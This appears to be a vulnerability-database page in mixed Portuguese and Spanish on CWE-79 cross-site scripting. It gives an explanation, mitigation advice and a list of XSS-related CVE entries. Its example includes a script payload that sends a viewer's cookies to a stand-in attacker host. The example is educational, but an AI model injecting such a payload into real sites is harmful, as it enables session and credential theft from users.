Fallos del tipo CWE-79

29.621 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-58643MEDIUMWindows Admin Center Spoofing VulnerabilityEPSS 0.4%CVE-2024-5083MEDIUMNexus Repository 2 - Stored XSSEPSS 0.4%CVE-2024-3558MEDIUMCustom Field Suite <= 2.6.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via cfs[post_title]EPSS 0.4%CVE-2025-56526MEDIUMCross site scripting (XSS) vulnerability in Kotaemon 0.11.0 allowing attackers to execute arbitrary code via a crafted PDF.EPSS 0.4%CVE-2024-9239MEDIUMBooster for WooCommerce <= 7.2.3 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2024-12182MEDIUMDedeCMS soft_add.php cross site scriptingEPSS 0.4%CVE-2019-25419MEDIUMComodo Dome Firewall 2.7.0 Stored Cross-Site Scripting via scheduleEPSS 0.4%CVE-2026-92136HIGHJenkins OWASP Dependency-Check Plugin 5.6.4 and earlier does not escape CWE values from Dependency-Check reports on the Jenkins UI, resultinEPSS 0.4%CVE-2026-92134HIGHJenkins Warnings Plugin 13.10258.va_17d49a_78c3b_ and earlier does not validate the analysis results ID when a job configuration is submitteEPSS 0.4%CVE-2025-8668CRITICALReflected XSS in E-Kalite Software Hardware Engineering's TurboardEPSS 0.4%CVE-2023-49485MEDIUMJFinalCMS v5.0.0 was discovered to contain a cross-site scripting (XSS) vulnerability in the column management department.EPSS 0.4%CVE-2026-92135HIGHJenkins Coverage Plugin 3.3358.v9487dde48783 and earlier does not validate the coverage results ID when a job configuration is submitted thrEPSS 0.4%CVE-2024-27757MEDIUMflusity CMS through 2.45 allows tools/addons_model.php Gallery Name XSS. The reporter indicates that this product "ceased its development asEPSS 0.4%CVE-2026-56698MEDIUMNuxt - Cross-Site Scripting via navigateTo open OptionEPSS 0.4%CVE-2021-39161MEDIUMCross-site scripting via category name in DiscourseEPSS 0.4%CVE-2026-4811MEDIUMWPB Floating Menu or Categories – Sticky Floating Side Menu & Categories with Icons <= 1.0.8 - Authenticated (Editor+) Stored Cross-Site Scripting via 'Icon CSS Class' Category FieldEPSS 0.4%CVE-2026-36748CRITICALRockRMS v16.13 and before v.17.7.0 is vulnerable to Cross Site Scripting (XSS) via Social Media links in user profile.EPSS 0.4%CVE-2024-12181MEDIUMDedeCMS SWF File uploads_add.php cross site scriptingEPSS 0.4%CVE-2023-6556MEDIUMFOX – Currency Switcher Professional for WooCommerce <= 1.4.1.6 - Missing Authorization to Authenticated (Subscriber+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2026-45500MEDIUMMicrosoft Exchange Server Spoofing VulnerabilityEPSS 0.4%